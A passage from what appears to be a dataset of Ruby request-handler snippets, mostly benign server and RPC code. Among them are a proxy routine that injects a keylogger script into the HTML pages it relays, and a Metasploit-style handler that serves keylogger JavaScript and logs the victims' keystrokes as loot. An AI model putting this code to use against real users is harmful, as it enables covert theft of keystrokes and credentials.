drop into the next to do\n\t\t# injection\n\n\t\textension = File.extname(uri.path)\n\n\t\t# black listing is a bad way to do this but as it is probably better\n\t\t# to parse a page and not inject into it than to miss a page\n\t\t# I think it is better to just remove things we know we don't want\n\t\t# to parse.\n\t\tif extension =~ /(txt)|(js)|(swf)|(pdf)|(gif)|(jpg)|(css)|(xml)|(png)|(rss)/i or verb =~ /(head)|(connect)|(trace)/i\n\t\t\t# write_debug request_number, \"Not web page, don't care\", DEBUG\n\n\t\t\tbuff = \"\"\n\t\t\tloop do\n\t\t\t\tto_server.read(4048, buff)\n\t\t\t\tto_client.write(buff)\n\t\t\t\tbreak if buff.size < 4048\n\t\t\tend\n\t\telse\n\t\t\twrite_debug request_number, \"Headers done, proxying data\", VERBOSE\n\t\t\tbuff = \"\"\n\t\t\tdo_inject = false\n\t\t\tinjected = false\n\t\t\tfixup = true\n\t\t\tchunk = false\n\n\t\t\tloop do\n\t\t\t\tto_server.read(4050, buff)\n\t\t\t\tbreak if buff.size == 0\n\n\t\t\t\twrite_debug(request_number, \"Buffer length = \" + buff.length.to_s, DEBUG)\n\t\t\t\twrite_debug(request_number, \"First 10: \" + buff[0, 10].inspect, DEBUG)\n\t\t\t\twrite_debug(request_number, \"Last 10: \" + buff[-10, 10].inspect, DEBUG)\n\n\t\t\t\t# This dumps the full buffer, only really needed for hardcore debugging\n\t\t\t\t# write_debug request_number, buff, DEBUG\n\t\t\t\t# Is it a HTML page?\n\t\t\t\tif (buff =~ /Content-Type: text\\/html/)\n\t\t\t\t\tif buff.match(/Content-Length: ([0-9]*)/)\n\t\t\t\t\t\told_length = $1.to_i\n\t\t\t\t\t\tnew_length = old_length + @script_inject.length\n\t\t\t\t\t\twrite_debug request_number, \"Length adjusted (\" + old_length.to_s + \" to \" + new_length.to_s + \") ready for injection\", DEBUG\n\t\t\t\t\t\tbuff[\"Content-Length: \" + old_length.to_s] = \"Content-Length: \" + new_length.to_s\n\t\t\t\t\t\tdo_inject = true\n\t\t\t\t\telsif buff.match(/Transfer-Encoding: chunked/)\n\t\t\t\t\t\t# chunked encoding doesn't have a length so don't need to patch it up\n\t\t#\t\t\t\tdo_inject = true\n\t\t\t\t\t\twrite_debug request_number, \"Chunked encoding\", DEBUG\n\t\t\t\t\t\tfixup = false\n\t\t\t\t\t\tchunk = true\n\t\t\t\t\telse\n\t\t\t\t\t\twrite_debug request_number, \"No length type specified, odd\", DEBUG\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\t# Doing this in its own loop as the head isn't necessariliy in the same packet as the transfer encoding tag \n\t\t\t\t\tinjected = false\n\t\t\t\t\tbuff_a = []\n\t\t\t\t\tif chunk and buff.match(/<head/i)\n\t\t\t\t\t\t# with chunk encoding there is a blank line after the HTML header\n\t\t\t\t\t\t# then before the data is a hex string saying the size of the chunk\n\t\t\t\t\t\t# that is about to be sent\n\n\t\t\t\t\t\tpatch_next = false\n\t\t\t\t\t\t# Can't do an inplace replace so easiest thing to do is to\n\t\t\t\t\t\t# just push it all into a new buffer\n\t\t\t\t\t\tnew_buff = \"\"\n\n\t\t\t\t\t\tbuff_a = buff.split(/\\r\\n/)\n\n\t\t\t\t\t\tindex = 0\n\t\t\t\t\t\tbuff_a.each do |line|\n\t\t\t\t\t\t\tif line.match /(<head[^>]*>)/i\n\t\t\t\t\t\t\t\thead = $1\n\t\t\t\t\t\t\t\twrite_debug request_number, \"Head found: \" + head, DEBUG\n\t\t\t\t\t\t\t\tbuff_a[index][head] = head + @script_inject\n\t\t\t\t\t\t\t#\twrite_debug request_number, \"New head: \" + buff_a[index][head], DEBUG\n\t\t\t\t\t\t\t\twrite_debug request_number, \"New head real: \" + head + @script_inject, DEBUG\n\t\t\t\t\t\t\t\twrite_debug request_number, \"Keylogger Injected Into - \" + host, VERBOSE\n\t\t\t\t\t\t\t\tinjected = true\n\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tindex += 1\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\tif injected\n\t\t\t\t\t\t\tindex.downto(0) do |rev_index|\n\t\t\t\t\t\t\t\tline = buff_a[rev_index].strip\n\t\t\t\t\t\t\t\tif line == \"\" and line.match(/^([0-9a-h]*)$/)\n\t\t\t\t\t\t\t\t\told_length = buff_a[rev_index + 1].to_i(16)\n\t\t\t\t\t\t\t\t\tnew_length = old_length + @script_inject.length\n\t\t\t\t\t\t\t\t\tbuff_a[rev_index + 1] = new_length.to_s(16)\n\t\t\t\t\t\t\t\t\twrite_debug request_number, \"Length adjusted (\" + old_length.to_s + \" to \" + new_length.to_s + \") ready for injection\", DEBUG\n\t\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\t\tbuff = buff_a.join(\"\\r\\n\")\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\t# write_debug request_number, \"no type match\"\n\t\t\t\tend\n\t\t\t\t# doing this outside the other loop as a page could be broken down into lots of small reads\n\t\t\t\tif do_inject\n\t\t\t\t\tif buff.match /(<head[^>]*>)/i\n\t\t\t\t\t\thead = $1\n\n\n\t\t\t\t\t\twrite_debug request_number, \"Head found: \" + head, DEBUG\n\n\n\t\t\t\t\t\t#write_debug request_number, head\n\t\t\t\t\t\tbuff[head] = head + @script_inject\n\t\t\t\t\t\twrite_debug request_number, \"New head real: \" + buff[head] + @script_inject, DEBUG\n\t\t\t\t\t\twrite_debug request_number, \"Keylogger Injected Into - \" + host, VERBOSE\n\t\t\t\t\t\t\n\t\t\t\t\t\tinjected = true\n\t\t\t\t\telse\n\t\t\t\t#\t\twrite_debug request_number, \"no head match\"\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\t# Dump the full buffer after it has been patched up\n\t\t\t\t#write_debug request_number, buff, DEBUG\n\t\t\t\tto_client.write(buff)\n\t\t\t\twrite_debug request_number, \"Buffer size written to client: \" + buff.size.to_s, DEBUG\n\t\t\t\t#break if buff.size < 4048\n\t\t\tend\n\n\t\t\t# if for some reason we couldn't inject, the send a bunch of spaces\n\t\t\t# of the right length at the end so the content length still matches up\n\t\t\tif !injected and fixup\n\t\t\t\twrite_debug request_number, \"Space injected to patch up\"\n\t\t\t\tto_client.write(\" \" * @script_inject.length)\n\t\t\tend\n\t\tend\n\t\t\t\n\t\t# Close the sockets\n\t\tto_client.close\n\t\tto_server.close\n\tend",
"def dispatch_request( request )\n\t\tif request.is_disconnect?\n\t\t\tself.log.debug \"disconnect!\"\n\t\t\tself.handle_disconnect( request )\n\t\t\treturn nil\n\n\t\telsif request.upload_started?\n\t\t\tself.log.debug \"async upload start!\"\n\t\t\treturn self.handle_async_upload_start( request )\n\n\t\telse\n\t\t\tself.log.debug \"%s request.\" % [ request.headers['METHOD'] ]\n\t\t\tcase request\n\t\t\twhen Mongrel2::WebSocket::ClientHandshake\n\t\t\t\treturn self.handle_websocket_handshake( request )\n\t\t\twhen Mongrel2::WebSocket::Request\n\t\t\t\treturn self.handle_websocket( request )\n\t\t\twhen Mongrel2::HTTPRequest\n\t\t\t\treturn self.handle( request )\n\t\t\twhen Mongrel2::JSONRequest\n\t\t\t\treturn self.handle_json( request )\n\t\t\twhen Mongrel2::XMLRequest\n\t\t\t\treturn self.handle_xml( request )\n\t\t\telse\n\t\t\t\tself.log.error \"Unhandled request type %s (%p)\" %\n\t\t\t\t\t[ request.headers['METHOD'], request.class ]\n\t\t\t\treturn nil\n\t\t\tend\n\t\tend\n\tend",
"def handle_request(message)\n msg = nil\n result = nil\n begin\n client_port, client_ip = Socket.unpack_sockaddr_in(get_peername)\n msg = RequestMessage.new(:message => message, :headers => @web_node.message_headers)\n headers = @web_node.message_headers.merge(msg.headers)\n result = Dispatcher.dispatch_request(msg.jr_method,\n :method_args => msg.jr_args,\n :headers => headers,\n :client_ip => client_ip,\n :client_port => client_port,\n :rjr_node => @web_node,\n :rjr_node_id => @web_node.node_id,\n :rjr_node_type => RJR_NODE_TYPE,\n :rjr_callback => WebNodeCallback.new())\n rescue JSON::ParserError => e\n result = Result.invalid_request\n end\n\n msg_id = msg.nil? ? nil : msg.msg_id\n response = ResponseMessage.new(:id => msg_id, :result => result, :headers => headers)\n\n resp = EventMachine::DelegatedHttpResponse.new(self)\n #resp.status = response.result.success ? 200 : 500\n resp.status = 200\n resp.content = response.to_s\n resp.content_type \"application/json\"\n resp.send_response\n end",
"def handle( request )\n\t\tresponse = nil\n\n\t\t# Dispatch the request after allowing plugins to to their thing\n\t\tstatus_info = catch( :finish ) do\n\t\t\tself.log.debug \"Starting dispatch of request %p\" % [ request ]\n\n\t\t\t# Run fixup hooks on the request\n\t\t\trequest = self.fixup_request( request )\n\t\t\tself.log.debug \" done with request fixup\"\n\t\t\tresponse = self.handle_request( request )\n\t\t\tself.log.debug \" done with handler\"\n\t\t\tresponse = self.fixup_response( response )\n\t\t\tself.log.debug \" done with response fixup\"\n\n\t\t\tnil # rvalue for the catch\n\t\tend\n\n\t\t# Status response\n\t\tif status_info\n\t\t\tself.log.debug \"Preparing a status response: %p\" % [ status_info ]\n\t\t\treturn self.prepare_status_response( request, status_info )\n\t\tend\n\n\t\treturn response\n\trescue => err\n\t\tself.log.error \"%s: %s %s\" % [ err.class.name, err.message, err.backtrace.first ]\n\t\terr.backtrace[ 1..-1 ].each {|frame| self.log.debug(' ' + frame) }\n\n\t\tstatus_info = { :status => HTTP::SERVER_ERROR, :message => 'internal server error' }\n\t\treturn self.prepare_status_response( request, status_info )\n\tend",
"def send_request(req); end",
"def call(request)\n handler.call(request)\n end",
"def handle_request(method, path, opts={})\n Amfetamine.logger.warn \"Making request to #{path} with #{method} and #{opts.inspect}\"\n case method\n when :get\n response = rest_client.get(path, opts)\n when :post\n response = rest_client.post(path, opts)\n when :put\n response = rest_client.put(path, opts)\n when :delete\n response = rest_client.delete(path, opts)\n else\n raise UnknownRESTMethod, \"handle_request only responds to get, put, post and delete\"\n end\n parse_response(response)\n end",
"def do_request(request, want_reply, data); end",
"def receive(request); end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def process(request); end",
"def handle_requests(request)\r\n\tputs request\r\n\tdata = JSON.parse(request)\r\n\tif data['command'] == 'login'\r\n\t\treturn login(data)\r\n\telsif data['command'] == 'add_phone'\r\n\t\treturn add_phone(data)\r\n\telsif data['command'] == 'remove_phone'\r\n\t\treturn remove_phone(data)\t\t\t\r\n\telsif data['command'] == 'create_account'\r\n\t\treturn create_account(data)\r\n\telsif data['command'] == 'update_location'\r\n\t\treturn update_location(data)\r\n\telse\r\n\t\tputs \"Unknown command: #{data['command']}\"\r\n\t\treturn \"ERROR\"\r\n\tend\r\nend",
"def request_handler(request_data)\n # assume request_data is a single line with a possible newline trailing.\n request = JSON.load(request_data.chomp)\n if 2 == request.keys.size && request.has_key?(LAST_EXIT_CODE_KEY) && request.has_key?(LAST_ERROR_MESSAGE_KEY)\n # pop the next action from the queue.\n command = @callback.call(:respond, request)\n return JSON.dump(NEXT_ACTION_KEY => command) + \"\\n\";\n end\n raise ArgumentError, \"Invalid request\"\n rescue Exception => e\n return JSON.dump(:Error => \"#{e.class}: #{e.message}\", :Detail => e.backtrace.join(\"\\n\")) + \"\\n\"\n end",
"def handle_request(request) \n add_cookies!(request)\n authenticate_request!(request)\n response = @client.request(request)\n \n set_cookies(response)\n \n case response\n when Net::HTTPUnauthorized\n response = respond_to_challenge(request, response)\n end\n end",
"def handle\n RJR::Logger.info \"Dispatching '#{@method}' request with parameters (#{@method_args.join(',')}) on #{@rjr_node_type}-node(#{@rjr_node_id})\"\n retval = instance_exec(*@method_args, &@handler)\n RJR::Logger.info \"#{@method} request with parameters (#{@method_args.join(',')}) returning #{retval}\"\n return retval\n end",
"def process_request(request, body, socket)\n raise \"You must implement process_request\"\n end",
"def request(request)\n @socket.request(request)\n end",
"def dispatch_request(cli, request)\n # Is the client requesting keep-alive?\n if ((request['Connection']) and\n (request['Connection'].downcase == 'Keep-Alive'.downcase))\n cli.keepalive = true\n end\n\n # Search for the resource handler for the requested URL. This is pretty\n # inefficient right now, but we can spruce it up later.\n p = nil\n len = 0\n root = nil\n\n resources.each_pair { |k, val|\n if (request.resource =~ /^#{k}/ and k.length > len)\n p = val\n len = k.length\n root = k\n end\n }\n\n if (p)\n # Create an instance of the handler for this resource\n handler = p[0].new(self, *p[2])\n\n # If the handler class requires a relative resource...\n if (handler.relative_resource_required?)\n # Substituted the mount point root in the request to make things\n # relative to the mount point.\n request.relative_resource = request.resource.gsub(/^#{root}/, '')\n request.relative_resource = '/' + request.relative_resource if (request.relative_resource !~ /^\\//)\n end\n\n\n # If we found the resource handler for this resource, call its\n # procedure.\n if (p[1] == true)\n Rex::ThreadFactory.spawn(\"HTTPServerRequestHandler\", false) {\n handler.on_request(cli, request)\n }\n else\n handler.on_request(cli, request)\n end\n else\n elog(\"Failed to find handler for resource: #{request.resource}\", LogSource)\n\n send_e404(cli, request)\n end\n\n # If keep-alive isn't enabled for this client, close the connection\n if (cli.keepalive == false)\n close_client(cli)\n end\n end",
"def handle_request(env)\n log_request(env) if ENV['DEBUG']\n @parliament_service.process(parsed_data(env)) if event_type(env) == 'status'\n end",
"def process_request\n # get the request line of the HTTP request message\n request_line = @socket.gets\n return unless request_line # don't continue unless there's a request\n\n # Display the request line\n puts \"\\n#{request_line}\"\n\n # get and display the header lines\n # NOTE: the check for CRLF is such that it won't be stuck on infinite loop\n while (header_line = @socket.gets()) && header_line != CRLF\n puts header_line\n end\n\n # extract the filename from the request line\n filename = request_line.split[1]\n\n # Prepend a \".\" so that the file request is within the current directory\n filename.prepend('.')\n\n # open the requested file\n if File.exists?(filename) && !File.directory?(filename)\n file_exists = true\n file = File.open(filename)\n else\n file_exists = false\n end\n\n # construct the response message\n if file_exists\n status_line = \"HTTP/1.0 200 OK#{CRLF}\"\n content_type_line = \"Content-type: #{get_content_type(filename)}#{CRLF}\"\n else\n status_line = \"HTTP/1.0 404 Not Found#{CRLF}\"\n content_type_line = \"Content-type: text/html#{CRLF}\"\n entity_body = \"<html>\\n<head>\\n<title>Error 404</title>\\n</head>\\n\"\n entity_body << \"<body>\\n\\\"#{filename}\\\" Not Found</body>\\n</html>\\n\"\n end\n\n # send the status line\n @socket.print(status_line)\n # send the content type line\n @socket.print(content_type_line)\n # send a blank line to indicate the end of the header lines\n @socket.print(CRLF)\n\n # send the entity body\n if file_exists\n send_bytes(file)\n file.close\n else\n @socket.print(entity_body)\n end\n\n # close the socket\n @socket.close\n end",
"def on_request_uri(cli, request)\r\n print_status(\"Request: #{request.uri}\")\r\n if request.uri =~ /#{Regexp.escape(get_resource)}/\r\n print_status('Sending payload...')\r\n send_response(cli, @pl)\r\n end\r\n end",
"def serve request, response, client, vhost\n @action.call(request, response, client, vhost) unless @action.nil?\n end",
"def handler_request!\n response = Core::HandlerResponse.new(\n @req.body,\n @req.code,\n @req.header.to_hash.inspect\n )\n populate_properties! if response.request_successful? && check_request\n end",
"def on_request_uri(cli, request)\n\t\t@host = cli.peerhost\n\n\t\t# Reply with JavaScript Source if *.js is requested\n\t\tif request.uri =~ /\\.js/\n\t\t\tcontent_type = \"text/plain\"\n\t\t\tcontent = keylogger\n\t\t\tsend_response(cli, content, {'Content-Type'=> content_type})\n\t\t\trequest_timestamp(cli,request)\n\n\t\t# JavaScript XML HTTP GET Request is used for sending the keystrokes over network.\n\t\telsif request.uri =~ /#{@random_text}/\n\t\t\tcontent_type = \"text/plain\"\n\t\t\tsend_response(cli, @random_text, {'Content-Type'=> content_type})\n\t\t\tlog = request.uri.split(\"&\")[1]\n\t\t\thex_to_s(log)\n\t\t\t@loot << \"#{cli.peerhost} - #{current_time} - \" + @ascii_log + \"\\n\"\n\t\t\tif log.length > 1\n\t\t\t\tprint_good(\"#{cli.peerhost} - #{current_time} - [KEYLOG] - #{@ascii_log}\")\n\t\t\tend\n\n\t\t# Reply with Metasploit Shield Favicon\n\t\telsif request.uri =~ /favicon\\.ico/\n\t\t\tcontent = favicon\n\t\t\tcontent_type = \"image/icon\"\n\t\t\t\tsend_response(cli, content, {'Content-Type'=> content_type})\n\t\t\trequest_timestamp(cli,request)\n\n\t\t# Reply with Demo Page\n\t\telsif request.uri =~ /metasploit/ and datastore['DEMO']\n\t\t\tcontent = demo\n\t\t\tcontent_type = \"text/html\"\n\t\t\t\tsend_response(cli, content, {'Content-Type'=> content_type})\n\t\t\trequest_timestamp(cli,request)\n\t\telse\n\t\t\t# Reply with 404 - Content Not Found\n\t\t\tcontent = \"Error 404 (Not Found)!\"\n\t\t\tsend_response(cli, \"<html><title>#{content}</title><h1>#{content}</h1></html>\", {'Content-Type' => 'text/html'})\n\t\tend\n\tend",
"def on_request( channel, request, want_reply, data )\n end",
"def process_client_request(request)\n # process request string\n resp = []\n tokens = request.split(\" \")\n target = tokens [1]\n\n if request =~ /GET\\s.+\\sHTTP\\/1\\.[0|1]/\n resp = retrieve_file(target)\n\n elsif request =~ /POST\\s.+\\sHTTP\\/1\\.[0|1]/\n resp = parse_received_data(target)\n\n else\n @client.puts \"Received invalid request.\"\n resp = [\"N/A\"]\n end\n\n return resp\n end",
"def handle_request(socket)\n message = parse_message(socket)\n\n response = cache.run(message[:command], *message[:arguments])\n\n if message[:noreply].nil? || message[:noreply] == false\n socket.puts response\n end\n end",
"def handle_request(session)\n req = Array.new\n while (line = session.gets) != \"\\r\\n\"\n req << line\n end\n initial = req[0].split(' ')\n puts req[0]\n if initial[0] == 'GET'\n get_request(session, initial[1])\n else\n puts initial[0] + \" request not supported\"\n end\nend",
"def handle(_request)\n fail NotImplementedError\n end",
"def process_request req, res\n req_headers = req.header\n req_query = req.query\n req_body = Oaf::HTTPServer.get_request_body req\n file = Oaf::Util.get_request_file(@options[:path], req.path,\n req.request_method, @options[:default_response])\n out = Oaf::Util.get_output(file, req.path, req_headers, req_body,\n req_query)\n res_headers, res_status, res_body = Oaf::HTTPServer.parse_response out\n Oaf::HTTPServer.set_response! res, res_headers, res_body, res_status\n end",
"def handle_get(event)\n make_response(200, get_scores)\nend",
"def handle_request( req )\n\t\tres = req.response\n\t\tres.content_type = 'text/plain'\n\t\tres.status = HTTP::OK\n\n\t\t@runcount += 1\n\t\treq.session.counter ||= 0\n\t\treq.session.counter += 1\n\n\t\tself.log.debug \"Request session is: %p\" % [ req.session ]\n\t\tres.puts \"Session [%s]: session counter: %d, run counter: %d\" %\n\t\t\t[ req.session.session_id, req.session.counter, @runcount ]\n\n\t\treturn res\n\tend",
"def request(*args); end",
"def handleRequest\n loop{\n puts \"User Session Listening\"\n clientMessage = @SocketHandle.gets\n clientMessage.chomp!\n \n case clientMessage\n \n when /viewall/i \n viewAllEvents\n \n when /bookevent/i\n spl = clientMessage.split\n eventid = spl[1] \n qty = spl[2] \n bookEvent @UserID, eventid, qty\n\n when /help/i\n helpCommand\n\n else \n errorCommand\n \n end \n }\n end",
"def handleRequest\n loop{\n puts \"Admin Session Listening\"\n clientMessage = @SocketHandle.gets\n clientMessage.chomp!\n \n case clientMessage\n \n when /viewallbookings/i \n viewAllBookings\n \n when /neweventspec/i\n newEventSpec\n\n else \n errorCommand\n \n end \n }\n end",
"def send_request; end",
"def perform(request, response); end",
"def start request\n if request['method']\n message = Message.select(request['method']).new(self, request)\n begin\n message.process\n rescue Exception => e\n STDERR.puts e.message\n STDERR.puts e.backtrace\n message.set_error Solargraph::LanguageServer::ErrorCodes::INTERNAL_ERROR, \"[#{e.class}] #{e.message}\"\n end\n message\n elsif request['id']\n # @todo What if the id is invalid?\n requests[request['id']].process(request['result'])\n requests.delete request['id']\n else\n STDERR.puts \"Invalid message received.\"\n end\n end",
"def request(req)\n req = Request.new(req) if req.kind_of?(Hash)\n action = if req.kind_of?(Request) then req.action else '(string)' end\n debug(\"#{action}: #{req.inspect}\")\n begin\n res = get_response(req)\n info(\"#{action}: #{res.inspect}\")\n rescue Error::Casual => ex\n info(\"#{action}: (ignored) #{ex.message}\")\n raise if verbose\n res = ex.response\n rescue Error::Fatal => ex\n error(\"#{action}: #{ex.message}\")\n raise\n rescue Errno::ECONNREFUSED => ex\n error(\"#{ex.message} / #{self['host'].inspect}:#{self['port'].inspect}\")\n raise\n end\n return res\n end",
"def run\n make_request(@path)\n end",
"def process()\n begin\n @sock.sync=true\n req=WEBrick::HTTPRequest.new(WEBrick::Config::HTTP.dup)\n res=WEBrick::HTTPResponse.new(WEBrick::Config::HTTP.dup)\n WEBrick::Utils::set_non_blocking(@sock)\n WEBrick::Utils::set_close_on_exec(@sock)\n req.parse(@sock)\n $logger.debug \"PATH=#{req.path}\"\n $logger.debug \"QUERY=#{req.query_string}\"\n args=req.path.split('/')\n cmd=args.last()\n str=run(cmd, req.query_string)\n res.request_method=req.request_method\n res.request_uri=req.request_uri\n res.request_http_version=req.http_version\n res.keep_alive=false\n res.body=\"Accepted,#{req.path},#{str}\"\n res.status=200\n $logger.debug res.inspect()\n res.send_response(@sock)\n rescue Errno::ECONNRESET, Errno::ECONNABORTED, Errno::EPROTO=>ex\n rescue Exception => ex\n raise ex.inspect()\n end\n end",
"def process()\n begin\n @sock.sync=true\n req=WEBrick::HTTPRequest.new(WEBrick::Config::HTTP.dup)\n res=WEBrick::HTTPResponse.new(WEBrick::Config::HTTP.dup)\n WEBrick::Utils::set_non_blocking(@sock)\n WEBrick::Utils::set_close_on_exec(@sock)\n req.parse(@sock)\n $logger.debug \"PATH=#{req.path}\"\n $logger.debug \"QUERY=#{req.query_string}\"\n args=req.path.split('/')\n cmd=args.last()\n str=run(cmd, req.query_string)\n res.request_method=req.request_method\n res.request_uri=req.request_uri\n res.request_http_version=req.http_version\n res.keep_alive=false\n res.body=\"Accepted,#{req.path},#{str}\"\n res.status=200\n $logger.debug res.inspect()\n res.send_response(@sock)\n rescue Errno::ECONNRESET, Errno::ECONNABORTED, Errno::EPROTO=>ex\n rescue Exception => ex\n raise ex.inspect()\n end\n end",
"def handle_request(socket)\n client = Client.new(socket, logger: @logger)\n # This receives all headers and the entire request body, if there is one\n client.read_request!(host: \"#{@remote_host}:#{@remote_port}\")\n\n # Process the request read from the client and respond\n send_response(client)\n end",
"def parse_request request\n\n request_uuid = request.shift\n request_method = request.shift\n\n begin\n request_response = @notifier_engine.process_input request_method.to_sym, request\n rescue => exc\n request_response = \"#{exc.class}: #{exc.message}\"\n end\n\n send_response request_uuid, request_response\n\n end",
"def request(*args, &block); end",
"def state_response\n unless resp = handle(@request)\n raise \"No handler found for this URI (#{@request.url})\"\n end\n send_response(resp)\n end",
"def accept_request( req )\n\t\tself.log.info( req.inspect )\n\t\tres = self.dispatch_request( req )\n\n\t\tif res\n\t\t\tself.log.info( res.inspect )\n\t\t\t@conn.reply( res ) unless @conn.closed?\n\t\tend\n\tensure\n\t\t# Remove any temporarily spooled Mongrel2 files.\n\t\tbegin\n\t\t\tif req && req.body && req.body.respond_to?( :path ) && req.body.path\n\t\t\t\treq.body.close unless req.body.closed?\n\t\t\t\tFile.unlink( req.body.path )\n\t\t\tend\n\t\trescue Errno::ENOENT => err\n\t\t\tself.log.debug \"File already cleaned up: %s (%s)\" % [ req.body.path, err.message ]\n\t\tend\n\tend",
"def handle_request( * ) # :nodoc:\n\t\tself.log.debug \"[:restresources] handling request for REST resource.\"\n\t\tsuper\n\tend",
"def handle_get\n make_response(200, obtain_scores)\nend",
"def receive_request( hReq )\n id, method, params = hReq[\"id\"], hReq[\"method\"], hReq[\"params\"]\n Handler.log.debug \"Request received from #{ip_port}##{id} : #{method} with #{params.inspect}\"\n req = Rpc::Request.new(self, method, params, id)\n emit( 'request', req )\n req\n end",
"def onRequest(req)\n\t\tif req.request == 'WHEREAMI?'\n\t\t\tloc = location.space\n\t\t\tresp = {:x => loc.x, :y => loc.y, :sectorx => loc.sector.offsetX, :sectory => loc.sector.offsetY}.to_json\n\t\t\treq.reply('YOURPOS', resp)\n\t\telsif req.request == 'NEARBY?'\n\t\t\tdistOfSight = req.message.to_i\n\t\t\tdistOfSight = SolarSystem::SolarSystemRadius if distOfSight > SolarSystem::SolarSystemRadius\n\t\t\tdistOfSight = 1000 if distOfSight < 1000\n\t\t\t\n\t\t\tresp = []\n\t\t\tloc = location.space\n\t\t\tloc.sector.solarsystemsWithin(loc.x, loc.y, distOfSight).each do |system|\n\t\t\t\tsystem.celestialBodiesWithin(loc.x, loc.y, distOfSight).each do |cb|\n\t\t\t\t\tbodyinfo = {:x => cb.x, :y => cb.y, :type => cb.type}\n\t\t\t\t\tresp.push bodyinfo\n\t\t\t\tend\n\t\t\tend\n\t\t\treq.reply('NEARBY', {:cbs => resp}.to_json)\n\t\telsif req.request == 'DISTANT?'\n\t\t\tloc = location.space\n\t\t\tresp = []\n\t\t\tloc.sector.solarsystems().each do |system|\n\t\t\t\tsystem.distantCelestialBodies.each do |cb|\n\t\t\t\t\tbodyinfo = {:x => cb.x, :y => cb.y, :type => 'star'}\n\t\t\t\t\tresp.push bodyinfo\n\t\t\t\tend\n\t\t\tend\n\t\t\treq.reply('DISTANT', {:cbs => resp}.to_json)\n\t\telsif req.request == 'RESOURCES'\n\t\t\tresourceinfo = {}\n\t\t\tcelestialbody = getCelestialBody(@db, req.getmessage())\n\t\t\tif (celestialbody.solarsystem.sector == location.space.sector)\n\t\t\t\tdist = Math.sqrt((location.space.x - celestialbody.x)**2 + (location.space.y - celestialbody.y)**2)\n\t\t\t\tif (dist <= D)\n\t\t\t\t\tresourceinfo = celestialbody.inventory.resources.to_json\n\t\t\t\tend\n\t\t\tend\n\t\t\treq.reply('RESOURCES', resourceinfo)\n\t\telsif req.request == 'INVENTORY'\n\t\t\tinvinfo = inventory.resources.to_json\t\n\t\t\treq.reply('INVENTORY', invinfo)\n\t\telsif req.request == 'IMOVED'\n\t\t\treqjson = req.json\n\t\t\tif reqjson.include?('sx') && reqjson.include?('sy') && reqjson.include?('x') && reqjson.include?('y')\n\t\t\t\t# TODO: Handle other sectors\n\t\t\t\t# TODO: Check validity of move\n\t\t\t\tlocation.setSpace(astroLocationFromCoords(location.space.sector, reqjson['x'].to_i, reqjson['y'].to_i))\n\t\t\tend\n\t\telsif req.request == 'NEARBYENT?'\n\t\t\tdistOfSight = req.message.to_i\n\t\t\tdistOfSight = SolarSystem::SolarSystemRadius if distOfSight > 10 * SolarSystem::SolarSystemRadius\n\t\t\tdistOfSight = 1000 if distOfSight < 1000\n\t\t\t\n\t\t\tresp = nearbyObservable(distOfSight)\n\t\t\treq.reply('NEARBYENT', {:ent => resp}.to_json)\n\t\tend\n\tend",
"def do_GET(request, _response)\n log_request(request)\n end",
"def request(req)\n self.class.paths << req.path\n self.class.params << req.body\n response = self.class.responses.shift\n if response.respond_to? :call then\n response.call req\n else\n res = Net::HTTPResponse.new '1.0', 200, 'OK'\n res.body = response\n res\n end\n end",
"def handle_response(response); end",
"def handle_response(response); end",
"def handle(client)\n # read in, parse and verify request\n\n request = ''\n while request.length < Server::HTTP_MAX+1\n data = client.recv(Server::HTTP_MAX + 1 - request.length)\n break if data.length == 0\n request += data\n end\n return \"Request too long: maximum #{Server::HTTP_MAX} bytes.\" if request.length > Server::HTTP_MAX\n\n request = request.split(\"\\n\", 3)\n return \"Bad request: #{request}\" if request.length != 3\n\n command, orig_prog, code = request\n\n return \"Bad command: #{command}\" unless command == 'joust' || command == 'test'\n\n # mangle program name and code for web submissions\n\n prog = orig_prog.gsub(/[^a-zA-Z0-9_-]/, '')\n if prog != orig_prog\n return \"Program name (#{orig_prog}) is restricted to characters in [a-zA-Z0-9_-], sorry.\"\n elsif prog.length > 48\n return \"Program name is overly long. 48 characters should be enough for everyone.\"\n end\n\n prog = \"web.\" + prog\n\n code = ' ' + code if code.start_with?('http', 'ftp') # evade HTTP requests\n code.tr!('\\n', ' ')\n\n # submit for processing at the server\n\n @server.log(prog + ' ' + code[0,256])\n @server.joust(prog, code, command == 'test') do |result, message|\n begin\n if result == :fatal\n client.send(\"error\\nFatal error: #{message}\\n\", 0)\n elsif result == :error\n client.send(\"error\\n#{message}\\n\", 0)\n else\n @server.heraldize(message) unless command == 'test'\n client.send(\"ok\\n#{message}\\n\", 0)\n end\n ensure\n client.close\n end\n end\n\n nil\n end",
"def handle_request(socket, message)\n client_port, client_ip = Socket.unpack_sockaddr_in(socket.get_peername)\n msg = RequestMessage.new(:message => message, :headers => @message_headers)\n headers = @message_headers.merge(msg.headers)\n result = Dispatcher.dispatch_request(msg.jr_method,\n :method_args => msg.jr_args,\n :headers => headers,\n :client_ip => client_ip,\n :client_port => client_port,\n :rjr_node => self,\n :rjr_node_id => @node_id,\n :rjr_node_type => RJR_NODE_TYPE,\n :rjr_callback =>\n WSNodeCallback.new(:socket => socket,\n :headers => headers))\n response = ResponseMessage.new(:id => msg.msg_id, :result => result, :headers => headers)\n socket.send(response.to_s)\n end",
"def process(client)\n @request = client.gets\n # wait until server isn't recieving anything\n return if @session.gets.nil?\n return if @session.gets.chop.length.zero?\n\n request_made = HTTPUtils.make_proper_request(client, @request)\n\n return if request_made[:url] == '/favicon.ico' # ignore favicon request\n\n request_to_handle = HTTPUtils.make_request_object(request_made)\n\n handle_request(request_to_handle)\n end",
"def request(*args)\n end",
"def handle_request( request, &block )\n\t\tif block\n\t\t\treturn block.call( request )\n\t\telse\n\t\t\treturn request.response\n\t\tend\n\tend",
